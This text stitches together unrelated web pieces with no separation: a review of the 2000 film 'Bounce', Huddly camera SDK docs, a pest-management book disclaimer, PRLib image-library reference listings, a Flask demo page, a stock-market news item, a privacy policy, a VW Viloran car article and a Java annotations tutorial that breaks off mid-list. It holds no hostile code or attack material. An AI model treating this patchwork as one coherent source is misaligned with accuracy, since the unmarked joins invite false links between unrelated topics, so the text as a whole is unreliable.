BOUNCE (director/writer: Don Roos; cinematographer: Robert Elswit; editor: David Codron; cast: Gwyneth Paltrow (Abby Janello), Ben Affleck (Buddy Amaral), Alex D. Linz (Scott Janello) David Dorfman (Joey Janello), Natasha Henstridge (Mimi), Tony Goldwyn (Greg Janello), Jennifer Grey (Mrs. Janice Guererro), Joe Morton (Jim), David Paymer (Prosecution Lawyer), Caroline Aaron (Donna, Abby's Friend), Johnny Galecki (Seth, Buddy's assistant); Runtime: 105; Miramax Films; 2000)
Reviewed by Dennis Schwartz
"Bounce" had some...well, bounce, to its moralistic romantic tale, as it sets up a formulaic dilemma for a couple who fall in love and have to face their own private demons. Don Roos ("The Opposite of Sex"), the director-screenwriter, has come up with a smart script and lets his adult stars act like real adults do and is not ashamed of the glossy film becoming a tearjerker, and when the romance story tugs shamelessly at my heart it feels good because there is a heartfelt rhythm in this film that allowed me to clearly see what the troubled couple is feeling without it seeming to be contrived, even though it is contrived. In fact, the film is thoroughly engrossing and well-crafted until the closing scenes, where some speeches are made to clear the air, which seemed totally unnecessary. What helped carry the film through such contrived spots, was the real-life romantic couple who star in the film, Ben Affleck and Gwyneth Paltrow, playing two hurt souls who don't expect to fall in love but do. Ben being a smug, womanizing ad executive and Gwyneth, a young widow not knowing how to bounce back from the loss of her husband in a plane crash. They had great chemistry onscreen, and Paltrow in particular, seemed to make the story appealing and credible. In the Hollywood tradition of such love stories, it seemed easy for the audience to root for them to get together and make the romance work. The only thing is, that the film is a little tougher than how most mainstream films do romances but is not edgy enough to be an art film, so it falls into the category of being not one or the other type of film, which might cause it to be ignored by both audiences.
Waiting out a snowstorm at a bar at Chicago's O'Hare Airport, Buddy Amaral (Affleck) casually converses with writer Greg Janello (Tony Goldwyn) and a pretty blonde businesswoman Mimi (Natasha Henstridge), and shoots a video of the three of them horsing around. Greg voluntarily bumped himself from an L.A.-bound flight in order to get two free round-trip tickets to anywhere in the U.S. plus $200 and feels guilty about being so cheap and letting down his family by not going home at once. Mimi has been given a free hotel room because her flight was canceled, and when Buddy sees her flashing the room coupon as a come on, he quickly decides to give his Los Angeles ticket to Greg and spend the night with Mimi instead. Greg takes the ticket because he is anxious to get back to his wife and two young sons and do some pre-Christmas things with them, though feeling nervous about taking the ticket, he is, at least, relieved of his guilty feelings he was plagued by.
The plane crashes in Kansas, and the story goes into much detail of the passenger mix-up, of the airline first saying he is not aboard and then reversing themselves. Greg's wife Abby (Paltrow), not knowing if he was on the flight, becomes devastated when she finds out that he was killed in the crash.
The crash has a great affect on Buddy also, as he goes through a personality transformation from being a slick playboy-type, to someone who becomes overloaded with guilt and sensitivity, which makes his alcohol problem more severe and he freaks out when drunk during an award ceremony that his ad company wins for doing this bathetic commercial for the airline to express bereavement to the families for the loved ones they lost.
A year passes, as he goes through an alcohol rehab program and returns to work, but gets transferred to a different Southern California location, which happens to be where Greg's wife lives. He still feels guilty for not dying and has a need to meet Abby to see if she's OK and make amends to her as part of his A.A. 12 step program, but does not have enough nerve to tell her that he was the one who switched tickets with her hubby. She's going through her own guilt-trip and also lies to him by telling him she's divorced. When he feels sorry for her, seeing how she's a neophyte in the real estate business, he arranges to throw her a big bone, as he connives his boss (Morton) into letting her sell him the more spacious building his company needs to move its operations to, thereby she unexpectedly gets a tremendous commission.
They both seem tentative about the attraction they have for each other, afraid of entering a relationship, but he is willing to forget about her, glad that he made amends by helping her out materially. But she suddenly shows up at his workplace with two tickets to see a Dodgers game, with the excuse that she wants to thank him for what he did. She also comes clean and admits she lied about being divorced, but he still needs more time to get his secret off his chest. They finally close their romantic deal and sleep together, and he then shows he's a good guy and a changed person by bonding with the kids. Sex is not presented as the prize here, as much as a serious and meaningful relationship is. It has probably been ages since that theme was tried as seriously as it was in this mainstream film, and that just might be the most refreshing thing about the film.
But he waits too long to tell her that he's the one who gave her husband the ticket on the ill-fated flight, as she finds out in a surprising way about it and can't forgive him. Her decision to break the relationship causes anguish to both of them, as they try to find out what it is they want and how they really feel. Since Paltrow is the better actor, she mops up the screen in these scenes of anguish and is convincing as someone who has been damaged and is afraid of getting hurt again. Affleck is good as an actor conveying someone who is arrogant and shallow and full of false bravado, but is not convincing as someone who has been down for the count and is bouncing back as a changed man. His sudden change to the sensitive-type seemed artificial, leaving questions about what he was doing in the first place in meeting her, if he couldn't tell her that he knew her husband. It left me wondering, how sensitive of a person could he really have become, if he could only help her materially and not understand that his drinking masked deeper problems he had in his character, such as lying! What I never quite understood, is why he has to make amends to her, since he had nothing to do with the accident and was actually helping her husband out by giving him the free ticket. He might have hurt others during his callow period, but I can't see how he purposely hurt Abby and her husband.
But the film had enough of a realistic romance under its belt to not be buried for dead with its contrivances. In additition it had some pretty good players in supporting roles. Joe Morton always gives a fine performance, and here as the sturdy, no-nonsense businessman he grounds the film in some needed reality.  Caroline Aaron has the cardboard role as Abby's supportive friend, but she's not intrusive and is pleasant in that role. Alex D. Linz and David Dorfman are perfect as Abby's kids, trying to get a handle on Affleck and recover themselves from not having a father around, while receiving loving care from their harried mother.
This modest production scored with me. And if it didn't have that phony civil court scene at the end, with Affleck forced to act in such a disingenuously apologetic manner, the film would have been much better. But I was glad to be taken in by what I was seeing onscreen, that is an adult romantic film, with the adults interested in having a real relationship. I'm so conditioned by now, that I think only foreign films or art house films operate that way.
REVIEWED ON 11/23/2000 GRADE: B
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


src/interfaces/ICnnControl.ts
Methods |
| disable | ||||||
disable(idleTimeMs?: number)
|
||||||
|
Defined in src/interfaces/ICnnControl.ts:30
|
||||||
|
Disables the cnn feature persistently. The disabled state is persistent on camera reboot/power cycle.
Parameters :
Returns :
Promise<void>
A void function. |
| enable | ||||||
enable(idleTimeMs?: number)
|
||||||
|
Defined in src/interfaces/ICnnControl.ts:21
|
||||||
|
Enables the cnn feature persistently. The enable state is persistent on camera reboot/power cycle.
Parameters :
Returns :
Promise<void>
A void function. |
| init |
init()
|
|
Defined in src/interfaces/ICnnControl.ts:12
|
|
Convenience function for setting up the camera for starting/stopping cnn feature. Should be called before any other methods. resolves in case the cnn feature init is completed otherwise it rejects with a rejection message!
Returns :
Promise<any>
Returns a promise which resolves in case the cnn feature init is completed otherwise it rejects with a rejection message! |
| isEnabled |
isEnabled()
|
|
Defined in src/interfaces/ICnnControl.ts:38
|
|
Checks if cnn feature is enabled on the camera. Returns true if yes, false otherwise. false if disabled.
Returns :
Promise<Boolean>
Returns a promise which resolves to true if cnn features is enabled false if disabled. |
Below you can find an example on how to get started with Genius Framing (GF) on Huddly cameras that support the feature. Follow the steps below to enable or disable GF:
...
// We assume the sdk has been initialized and camera manager instance acquired
...
/**
* Get an autozoom control instance from the initialized camera manager.
* For custom autozoom, `getAutozoomControl` accepts some options which are
* documented on the `IAutozoomControlOpts` interface.
*/
const autozoomCtrl = cameraManager.getAutozoomControl();
// Always call init before doing anything
await autozoomCtrl.init();
/* Enable autozoom cnn feature on the camera (persistent across camera booting) */
await autozoomCtrl.enable();
...
// Your code goes here
...
/* Disable autozoom cnn feature on the camera (persistent across camera booting) */
await autozoomCtrl.disable();
NOTE: For subscribing for detection and/or framing events you need to use the Detector class.
In a similar way to Genius Framing controller, Portrait Lightning also implements ICnnController and can be used to toggle the feature as needed. Below is a code snippet on how to do it.
const portraitLightningCtrl = cameraManager.getFaceBasedExposureControl();
// Always call init before doing anything
await portraitLightningCtrl.init();
/* Enable Portrait Lightning cnn feature on the camera (persistent across camera booting) */
await portraitLightningCtrl.enable();
...
// Your code goes here
...
/* Disable Portrait Lightning cnn feature on the camera (persistent across camera booting) */
await portraitLightningCtrl.disable();
export default interface ICnnControl {
/**
* Convenience function for setting up the camera
* for starting/stopping cnn feature.
* Should be called before any other methods.
*
* @returns {Promise<any>} Returns a promise which
* resolves in case the cnn feature init is completed
* otherwise it rejects with a rejection message!
* @memberof ICnnControl
*/
init(): Promise<any>;
/**
* Enables the cnn feature persistently. The enable state
* is persistent on camera reboot/power cycle.
*
* @returns {Promise<void>} A void function.
* @memberof ICnnControl
*/
enable(idleTimeMs?: number): Promise<void>;
/**
* Disables the cnn feature persistently. The disabled state
* is persistent on camera reboot/power cycle.
*
* @returns {Promise<void>} A void function.
* @memberof ICnnControl
*/
disable(idleTimeMs?: number): Promise<void>;
/**
* Checks if cnn feature is enabled on the camera. Returns true if yes, false otherwise.
*
* @returns {Promise<Boolean} Returns a promise which resolves to true if cnn features is enabled
* false if disabled.
*/
isEnabled(): Promise<Boolean>;
}


The original USM library is streamlined here for DNA analysis, starting with detection of polymorphism in linear time.


Urban Pest Management.
Theory and Practice for Australia.
by
John De Costa
B.App.Sci.(Hons), G.Dip.Man.,
email<EMAIL_ADDRESS>phone:<PHONE_NUMBER>
©2019 Eaglefox Pty. Ltd. (ABN 51 086 029 009) All rights reserved. Without limiting the rights under copyright reserved above, no part of this publication may be reproduced, stored in or introduced into a retrieval system, or transmitted in any form or by any means (electronic, mechanical, photocopying, recording or otherwise) without the prior written permission of the copyright owner.
Disclaimer
This web site is owned by Eaglefox Pty Ltd (ABN 51 086 029 009) . Access to this web site is conditional upon you the user’s acceptance and compliance with the terms and conditions of use. By accessing the web site you acknowledge your agreement with the terms and conditions of use. Please refer to the terms and conditions of use below. The information on this website is general in nature and does not take into account your personal circumstances, financial needs or objectives. Before acting on any information, you should consider the appropriateness of it and the relevant product having regard to your objectives, financial situation and needs. In particular, you should seek independent advice.
Terms and Conditions of Use:
We advise users of this website, that while we make every effort to ensure the information contained in the website is true and correct, we do not warrant the accuracy or completeness of the information. You the user of this website should not rely solely on the information presented. All content is provided “as is” and without warranties of any kind, either expressed or implied. Eaglefox Pty Ltd (ABN 51 086 009 029) accepts no responsibility for any loss or damage resulting from the use of information contained on this website.


--- layout: page title: About Me description: background: "/img/bg-about.jpg" ---
Hi! My name is Adam and I'm a Software Developer and currently a first year student at Seneca College pursuing an Associate's degree in Computer Programming & Analysis. I'm passionate about exploring new technologies, exploring the rabbit hole of all things that involve the web, discovering new vulnerabilities that I leave behind when creating programs, and the thrill that comes with solving challenging problems.
Outside of school I create small applications and websites for local businesses with the motto of "Packaging tailored solutions in the best visual experience".
When I'm not working away on my computer, I enjoy working on my woodworking projects, wiki-surfing, playing trivia/puzzle games, blogging, and amateur photography.
I created this blog is to share all of the random, the dry, and the interesting things I came across in my Software Dev journey.
Checkout my website to view what I'm currently working on.


|
PRLib
|
#include "imageLibCommon.h"
#include <algorithm>
#include <cmath>
#include <limits>
#include <stdexcept>
#include <vector>
#include <opencv2/core/core.hpp>
#include <opencv2/imgproc/imgproc.hpp>
Go to the source code of this file.
Functions | |
| void | ExtractLayer (const cv::Mat &inputImage, const cv::Scalar &lowerBoundary, const cv::Scalar &upperBoundary, cv::Mat &outputImage, const cv::Scalar &defaultColor) |
| Extract layer by color range. More... | |
| void | ExtractLayer (const cv::Mat &inputImage, cv::Mat &mask, cv::Mat &outputImage, const cv::Scalar &defaultColor) |
| Extract layer by mask. More... | |
| void | EqualizeLayerHists (const cv::Mat &inputImage, cv::Mat &outputImage) |
| This function applies OpenCV function equalizeHist() for each channel of image. More... | |
| void | GetHistExtremums (cv::Mat &hist, std::vector< int > &histLocalMinPositions, std::vector< int > &histLocalMaxPositions, float delta) |
| This function searches local minimal and maximal values in histogram. More... | |
| void | GetColorLayersHists (cv::Mat &inputImage, std::vector< cv::Mat > &histsArray, int histSize) |
| Get histograms for each channel of color image. More... | |
| void | CannyEdgeDetection (cv::Mat &imageToProc, cv::Mat &resultCanny, int GaussianBlurKernelSize, double CannyUpperThresholdCoeff, double CannyLowerThresholdCoeff, int CannyMorphIters) |
| Edge detection using Canny edge detector. More... | |
| void | EnhanceLocalContrastByCLAHE_1 (cv::Mat &src, cv::Mat &dst, double CLAHEClipLimit, bool equalizeHistFlag) |
| Adaptive histogram enhancing for single channel image. More... | |
| void | EnhanceLocalContrastByCLAHE_MCh (cv::Mat &src, cv::Mat &dst, const double CLAHEClipLimit, const bool equalizeHistFlag) |
| Adaptive histogram enhancing for multiple channel image. More... | |
| void | EnhanceLocalContrastByCLAHE (cv::Mat &inputImage, cv::Mat &outputImage, double CLAHEClipLimit, bool equalizeHistFlag) |
| Enhance local contrast. More... | |
| void | MatToLocalVarianceMap (const cv::Mat &image, cv::Mat &varianceMap, const int kernelSize) |
| Get local variance map for OpenCV Mat. More... | |
| bool | IsContourClosed (const std::vector< cv::Point > &contour, int maxDistance) |
| Check on closed contour. More... | |
| int | ContourChildrenCount (const int contourNo, std::vector< cv::Vec4i > &hierarchy, bool includeSubchildren) |
| Get count of children contours for input contour. More... | |
| bool | IsContourCorrect (std::vector< cv::Point > &contour, cv::Mat &image, size_t contourMinSize, float contourAreaCoeff, float aspectRatioRangeMin, float aspectRatioRangeMax) |
| Checks contour for compliance. More... | |
| bool | IsContourUncorrect (std::vector< cv::Point > &contour, cv::Mat &image, size_t contourMinSize, float contourAreaCoeff, float aspectRatioRangeMin, float aspectRatioRangeMax) |
| Checks contour for compliance. More... | |
| int | ContoursDistance (std::vector< cv::Point > &contour1, std::vector< cv::Point > &contour2) |
| void | RemoveCloseSizeChildren (std::vector< std::vector< cv::Point > > &contours, std::vector< cv::Vec4i > &hierarchy, std::vector< int > &approvingList) |
| bool | IsContourClockwised (std::vector< cv::Point > &contour) |
| void | CheckHierarhyLevelRecursively (int currentContourNumber, std::vector< std::vector< cv::Point > > &contours, std::vector< int > &approvingList, std::vector< cv::Vec4i > &hierarchy) |
| void | RemoveChildrenContours (std::vector< std::vector< cv::Point > > &contours, std::vector< cv::Vec4i > &hierarchy) |
| int | ContourSubChildrenCount (int contourNo, std::vector< cv::Vec4i > &hierarchy) |
| Get count of children contours for this contour children. More... | |
| void | ScaleToRange (const cv::Mat &src, cv::Mat &dst, double rangeMin, double rangeMax, int dstType) |
| Scale image to defined range. More... | |
| bool | IsQuadrangularConvex (const std::vector< cv::Point2f > &resultContour) |
| bool | cropVerticesOrdering (std::vector< cv::Point > &pt) |
| Contour points ordering. More... | |
| cv::Mat | getGaussianKernel2D (const int ksize, double sigma) |
| void CannyEdgeDetection | ( | cv::Mat & | imageToProc, |
| cv::Mat & | resultCanny, | ||
| int | GaussianBlurKernelSize = 9 , |
||
| double | CannyUpperThresholdCoeff = 1 , |
||
| double | CannyLowerThresholdCoeff = 0.5 , |
||
| int | CannyMorphIters = 1 |
||
| ) |
Edge detection using Canny edge detector.
| [in] | imageToProc | Input image. |
| [out] | resultCanny | Output image. |
| [in] | GaussianBlurKernelSize | Kernel size for Gaussian blur (if less or equal than 0 then procedure is not used). |
| [in] | CannyUpperThresholdCoeff | Coefficient for upper threshold of Canny edge detector. |
| [in] | CannyLowerThresholdCoeff | Coefficient for lower threshold of Canny edge detector. |
| [in] | CannyMorphIters | Parameter of erode and dilatation (if equal than 0 then procedures are not used. If above than 0 then dilate is used the first. If less than 0 then erode is used the first). |
This function separates image into channels, processes them and combine by logical OR.
Split channels
... and calculate thresholds for ...
... 3. Canny edge detection
Definition at line 244 of file imageLibCommon.cpp.
| void CheckHierarhyLevelRecursively | ( | int | currentContourNumber, |
| std::vector< std::vector< cv::Point > > & | contours, | ||
| std::vector< int > & | approvingList, | ||
| std::vector< cv::Vec4i > & | hierarchy | ||
| ) |
Definition at line 715 of file imageLibCommon.cpp.
| int ContourChildrenCount | ( | const int | contourNumber, |
| std::vector< cv::Vec4i > & | hierarchy, | ||
| bool | includeSubchildren = false |
||
| ) |
Get count of children contours for input contour.
| [in] | contourNumber | Number of contour in hierarchy. |
| [in] | hierarchy | Description of relations between contours. |
| [in] | includeSubchildren | If this flag equal true then function calculate children of each child contour. |
is contour number valid?
Does selected contour have children?
for each child
get count of children of child
next child
Definition at line 483 of file imageLibCommon.cpp.
| int ContoursDistance | ( | std::vector< cv::Point > & | contour1, |
| std::vector< cv::Point > & | contour2 | ||
| ) |
Definition at line 568 of file imageLibCommon.cpp.
| int ContourSubChildrenCount | ( | int | contourNumber, |
| std::vector< cv::Vec4i > & | hierarchy | ||
| ) |
Get count of children contours for this contour children.
| [in] | contourNumber | Number of contour in hierarchy. |
| [in] | hierarchy | Description of relations between contours. |
is contour number valid?
Does selected contour have children?
for each child
next child
Definition at line 681 of file imageLibCommon.cpp.
| bool cropVerticesOrdering | ( | std::vector< cv::Point > & | pt | ) |
Contour points ordering.
| [in,out] | pt | Contour. |
This should be 4 for rectangles, but it allows to be extended to more complex cases
Find convex hull of points
Find top left point, as starting point. This is the nearest to (0.0) point
Now starting point index in source array is in indices[minDistanceIdx] convex hull vertices are sorted clockwise in indices array, so transfer them to result beginning from starting point to the end of array...
... and from the begin of array up to starting point
Definition at line 835 of file imageLibCommon.cpp.
| void EnhanceLocalContrastByCLAHE | ( | cv::Mat & | inputImage, |
| cv::Mat & | outputImage, | ||
| double | CLAHEClipLimit, | ||
| bool | equalizeHistFlag | ||
| ) |
Enhance local contrast.
| [in] | inputImage | Source image. |
| [out] | outputImage | Destination image. |
| [in] | CLAHEClipLimit | Parameter of local contrast enhancement procedure. |
| [in] | equalizeHistFlag | Histogram equalization flag (if equal true then histogram should be equalized). |
This function enhance local contrast of src using algorithm CLAHE and equalize histogram if it is required.
Definition at line 378 of file imageLibCommon.cpp.
| void EnhanceLocalContrastByCLAHE_1 | ( | cv::Mat & | src, |
| cv::Mat & | dst, | ||
| double | CLAHEClipLimit, | ||
| bool | equalizeHistFlag | ||
| ) |
Adaptive histogram enhancing for single channel image.
Definition at line 327 of file imageLibCommon.cpp.
| void EnhanceLocalContrastByCLAHE_MCh | ( | cv::Mat & | src, |
| cv::Mat & | dst, | ||
| const double | CLAHEClipLimit, | ||
| const bool | equalizeHistFlag | ||
| ) |
Adaptive histogram enhancing for multiple channel image.
Definition at line 349 of file imageLibCommon.cpp.
| void EqualizeLayerHists | ( | const cv::Mat & | inputImage, |
| cv::Mat & | outputImage | ||
| ) |
This function applies OpenCV function equalizeHist() for each channel of image.
| [in] | inputImage | Source image. |
| [out] | outputImage | Result image. |
histogram equalization for each channel
Definition at line 120 of file imageLibCommon.cpp.
| void ExtractLayer | ( | const cv::Mat & | inputImage, |
| const cv::Scalar & | lowerBoundary, | ||
| const cv::Scalar & | upperBoundary, | ||
| cv::Mat & | outputImage, | ||
| const cv::Scalar & | defaultColor = CV_RGB(255, 255, 255) |
||
| ) |
Extract layer by color range.
| [in] | inputImage | Image for layer extraction. |
| [in] | lowerBoundary,upperBoundary | Boundaries of color range for extraction. |
| [out] | outputImage | Extracted layer. |
| [in] | defaultColor | Default color for masked pixels background. |
create mask corresponding of color boundaries
extract layer by mask
Definition at line 36 of file imageLibCommon.cpp.
| void ExtractLayer | ( | const cv::Mat & | inputImage, |
| cv::Mat & | mask, | ||
| cv::Mat & | outputImage, | ||
| const cv::Scalar & | defaultColor = CV_RGB(255, 255, 255) |
||
| ) |
Extract layer by mask.
| [in] | inputImage | Image for layer extraction. |
| [in] | mask | Mask for extracted pixels. |
| [out] | outputImage | Extracted layer. |
| [in] | defaultColor | Default color for masked pixels background. |
if we have single channel mask then use it for each channel
inverse mask for background
copy masked data to new image
Definition at line 54 of file imageLibCommon.cpp.
| void GetColorLayersHists | ( | cv::Mat & | inputImage, |
| std::vector< cv::Mat > & | histsArray, | ||
| int | histSize | ||
| ) |
Get histograms for each channel of color image.
Extract histograms for each image channel.
Definition at line 217 of file imageLibCommon.cpp.
| cv::Mat getGaussianKernel2D | ( | const int | ksize, |
| double | sigma | ||
| ) |
Definition at line 898 of file imageLibCommon.cpp.
| void GetHistExtremums | ( | cv::Mat & | hist, |
| std::vector< int > & | histLocalMinPositions, | ||
| std::vector< int > & | histLocalMaxPositions, | ||
| float | delta | ||
| ) |
This function searches local minimal and maximal values in histogram.
This function finds positions of local minimums and maximums for histogram.
copy source histogram to vector
Definition at line 140 of file imageLibCommon.cpp.
| bool IsContourClockwised | ( | std::vector< cv::Point > & | contour | ) |
Definition at line 630 of file imageLibCommon.cpp.
| bool IsContourClosed | ( | const std::vector< cv::Point > & | contour, |
| int | maxDistance = 1 |
||
| ) |
Check on closed contour.
| [in] | contour | Tested contour. |
| [in] | maxDistance | Maximal distance between contour start and end. |
Definition at line 468 of file imageLibCommon.cpp.
| bool IsContourCorrect | ( | std::vector< cv::Point > & | contour, |
| cv::Mat & | image, | ||
| size_t | contourMinSize = 8 , |
||
| float | contourAreaCoeff = 0.7f , |
||
| float | aspectRatioRangeMin = 0.1f , |
||
| float | aspectRatioRangeMax = 10.0f |
||
| ) |
Checks contour for compliance.
| [in] | contour | Tested contour. |
| [in] | image | Image which contains contour. |
| [in] | contourMinSize | Minimal contour size. |
| [in] | contourAreaCoeff | Coefficient of maximal contour area. |
| [in] | aspectRatioRangeMin | Aspect ratio range minimal value. |
| [in] | aspectRatioRangeMax | Aspect ratio range maximal value. |
This function checks contour for compliance:
get bounding rectangle
Definition at line 525 of file imageLibCommon.cpp.
| bool IsContourUncorrect | ( | std::vector< cv::Point > & | contour, |
| cv::Mat & | image, | ||
| size_t | contourMinSize = 8 , |
||
| float | contourAreaCoeff = 0.7f , |
||
| float | aspectRatioRangeMin = 0.1f , |
||
| float | aspectRatioRangeMax = 10.0f |
||
| ) |
Checks contour for compliance.
| [in] | contour | Tested contour. |
| [in] | image | Image which contains contour. |
| [in] | contourMinSize | Minimal contour size. |
| [in] | contourAreaCoeff | Coefficient of maximal contour area. |
| [in] | aspectRatioRangeMin | Aspect ratio range minimal value. |
| [in] | aspectRatioRangeMax | Aspect ratio range maximal value. |
This function checks contour for compliance:
Definition at line 560 of file imageLibCommon.cpp.
| bool IsQuadrangularConvex | ( | const std::vector< cv::Point2f > & | resultContour | ) |
Find convex hull of points
Definition at line 821 of file imageLibCommon.cpp.
| void MatToLocalVarianceMap | ( | const cv::Mat & | image, |
| cv::Mat & | varianceMap, | ||
| const int | kernelSize = 3 |
||
| ) |
Get local variance map for OpenCV Mat.
| [in] | image | Input image. |
| [out] | varianceMap | Resulting local variance map. |
| [in] | kernelSize | Size of area for variance value estimation. |
This function estimate local variance value in area selected by sliding window with size (kernelSize x kernelSize). Estimated values are stored to corresponding position of variance_map.
we work with float data
images used for variance_map calculation
filter kernel parameters for (kernel_size x kernel_size) area
minimal allowable variance value
create filter kernel for variance calculation
sum(x[i])
sum(x[i])^2
x[i]^2
sum(x[i]^2)
calculate local variance map
If local variance value in point (x, y) above than variance_min_value (it is constant which empirically defined as 0.01) then variance in this point is assigned to variance_min_value.
Definition at line 397 of file imageLibCommon.cpp.
| void RemoveChildrenContours | ( | std::vector< std::vector< cv::Point > > & | contours, |
| std::vector< cv::Vec4i > & | hierarchy | ||
| ) |
Definition at line 641 of file imageLibCommon.cpp.
| void RemoveCloseSizeChildren | ( | std::vector< std::vector< cv::Point > > & | contours, |
| std::vector< cv::Vec4i > & | hierarchy, | ||
| std::vector< int > & | approvingList | ||
| ) |
Definition at line 587 of file imageLibCommon.cpp.
| void ScaleToRange | ( | const cv::Mat & | src, |
| cv::Mat & | dst, | ||
| double | rangeMin = 0.0 , |
||
| double | rangeMax = 255.0 , |
||
| int | dstType = CV_8UC1 |
||
| ) |
Scale image to defined range.
| [in] | src | Image for range scaling. |
| [out] | dst | Image for result storing. |
| [in] | rangeMin | Lower boundary of range. |
| [in] | rangeMax | Upper boundary of range. |
| [in] | dstType | OpenCV image type of result image. |
Definition at line 782 of file imageLibCommon.cpp.


This is a web application made with the help of Flask, a microframework for Python based on Werkzeug, Jinja 2, and good intentions. On the backend, a Machine Learning model is used for predicting the price of the car. The machine learning model was trained on the Automobile Dataset from the UCI Machine Learning Repository.
Using the dropdown list below, select the approximate values for each feature and hit the submit button. The features will then be forwarded to the machine learning model to evaluation. For more projects like these, just click on the Github Portfolio button.
GitHub PortfolioInput Features:


S&P 500, Nasdaq dip on China deal doubts
NEW YORK, Nov 18 — Wall Street stocks mostly dipped early today as fresh skepticism over US-China trade talks weighed on hopes for a near-term resolution to the grinding conflict.
Analysts cited reports that Chinese officials are intent on staking a “phase one” US-China trade deal on the removal of some tariffs, a condition opposed by the Trump administration.
About 35 minutes into trading, the Dow Jones Industrial Average stood at 28,014.10, up less than 0.1 per cent.
The broad-based S&P 500 had shed 0.1 per cent at 3,116.23, while the tech-rich Nasdaq Composite Index dropped 0.3 per cent to 8,518.12.
Major US indices ended last week at all-time highs, due in part to optimism over US-China trade talks. Shifting sentiment on the trade conflict has influenced market moves for more than a year.
This week’s calendar includes housing economic data and minutes from the most recent Federal Reserve meeting, as well as an array of earnings from retailers, including Macy’s and Target.
Among individual companies, beauty products giant Coty jumped 3.7 per cent after announcing a deal to pay US$600 million (RM2.4 billion) for a majority stake in Kylie Jenner’s cosmetics and skincare company.
HP dropped 1.0 per cent as it rejected a US$33 billion bid from Xerox, saying that it “significantly undervalues” the company but signaling that it was open to a potential deal down the road. Xerox fell 0.6 per cent. — AFP


A synthesizer schema configures a synthesizer object, and defines things like number of modulators and a function for processing input.
synthesizerSchema.modulators:[]ModulatorSchema
|
An array of modulator schemas that define what modulators the synthesizer will implement. |
synthesizerSchema.toneMap:Array[]Function||Function
|
Either an array of processor functions to handle a note equivalent to the index of the function in the array, or a single function handle all input.
Processor functions take the form of |


Install for estimating your cut/engraving time on your own computer.
Roland Versaworks Swatch Library.
Windows copy to: C:\Program Files\Adobe\Adobe Illustrator CC 2019\Presets
MAC copy to: ..\Applications\Adobe Illustrator CC 2019/Preset/en_GB/Swatch /


This Privacy Policy describes how your personal information is collected and used when you visit https://u.r4v1.net/ (the “Site”).
PERSONAL INFORMATION WE COLLECT
When you visit the Site, we automatically collect certain information about your device - information about your web browser, IP address, time zone. We refer to this automatically-collected information as “Device
Information.”
When we talk about “Personal Information” in this Privacy Policy, we are ONLY talking about Device Information.
We collect Device Information using the following technologies:
- Server access logs when you visit the Site, this includes your IP address, browser type, and date/time stamps.
This information is required to ban abusing IP addresses and to comply with applicable laws and regulations.
There are NO Cookies or Web beacons.

The device information is used to show statistics on short URLs. This information is public for everyone. The information is anonymised and not shown until a minimum threshold count is reached. We set that minimum threshold
to 5. Individual device information is never reported.
SHARING YOUR PERSONAL INFORMATION
We DO NOT share your Personal Information with third parties.
We may share Device Information to comply with applicable laws and regulations, to respond to a subpoena, search warrant or other lawful request for information we receive, or to otherwise protect our rights.
DATA RETENTION
The Server logs are only stored for last 3 months.
CHANGES
We may update this privacy policy from time to time in order to reflect, for example, changes to our practices or for other operational, legal or regulatory reasons.
CONTACT US
For more information about our privacy practices, if you have questions, or if you would like to make a complaint, please contact us by email at privacy@r4v1.net.


Voter turnout in 2012 was down by ~200,000 in New York City.
Black and Hispanic voters were more likely to experience longer wait times.
VIP's NYC Election Hackathon
Chris Smith / +@collegelabs
Dan Hill / +@danhillreports
Katie Zhu / +@ktzhu
Marco Chang / +@marcoazn
Margaret Kim / +@byemargie
Yvonne Leow / +@yvonneleow
Any questions?
Chris Smith / +@collegelabs
Dan Hill / +@danhillreports
Katie Zhu / +@ktzhu
Marco Chang / +@marcoazn
Margaret Kim / +@byemargie
Yvonne Leow / +@yvonneleow


2020 Volkswagen Viloran revealed
VW's luxurious people mover is about 5.3 metres long. It will likely be sold only in China, and potentially some other parts of Asia.
by Derek Fung- shares
The Volkswagen Viloran people mover has been unveiled at the 2019 Guangzhou motor show.
The Viloran is unlikely to ever come Down Under, and may only be built only in left-hand drive as it is built in China as part of Volkswagen's joint venture with SAIC, owner of the MG brand.
When it goes on sale next year, the Viloran will compete with luxury people haulers, such as the Lexus LM and Buick GL8.
While people movers have never really caught on in Australia, they're still popular many parts of Asia – and an important niche in China, the world's largest car market.
Despite being one of China's most popular automotive brands, this is the first time Volkswagen has sold a full-sized people mover in the Middle Kingdom.
At 5.3 metres long, it will be around 50mm longer than the market-leading Buick. It has crossover-inspired styling and a rounder silhouette with smoother surfacing than its boxier competitors.
The key giveaway that it's a people mover are the twin sliding rear doors. The Viloran seats seven people in a 2-2-3 layout with captain's chairs for the second row.
Reports indicate the Viloran is based on the company's MQB architecture for front- and all-wheel drive vehicles with a transverse engine. It is reportedly powered by a version of the company's 164kW/340Nm 2.0-litre turbocharged petrol engine.
Would you like to see something like Viloran available in Australia? Let us know in the comments section below.
1
1
nextprevious
2020 Volkswagen Viloran revealed


I am pretty sure most of us have used custom annotation in our projects at some point. Today we will go step by step and see how to create our own! Annotations in Java are everywhere, from @test, @BeforeClass, @AfterClass in Junit, @Override,@Deprecated in Java SE or @Inject, @Decorator in Java EE or @Entity in JPA.
The first step is to declare an interface with @ .The use of @ denotes that our interface will be of annotation type. Now, if we leave it as is and don’t add any methods we have a marker annotation.
public @interface Furious {
}
But marker annotation get their own annotation which denote what type of the program they target (@Target) and under which conditions(@Retention). Our previous example can become a bit more complex:
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface Furious {
}
In our case we marked our annotation as RetentionPolicy.RUNTIME because we want it to be accessed during runtime through reflection. Also ElementType.TYPE denotes that it will only be applied on classes. As described in the Java API here are the possible values for @Retention :
- SOURCE
public static final RetentionPolicy SOURCE
Annotations are to be discarded by the compiler.
- CLASS
public static final RetentionPolicy CLASS
Annotations are to be recorded in the class file by the compiler but need not be retained by the VM at run time. This is the default behavior.
- RUNTIME
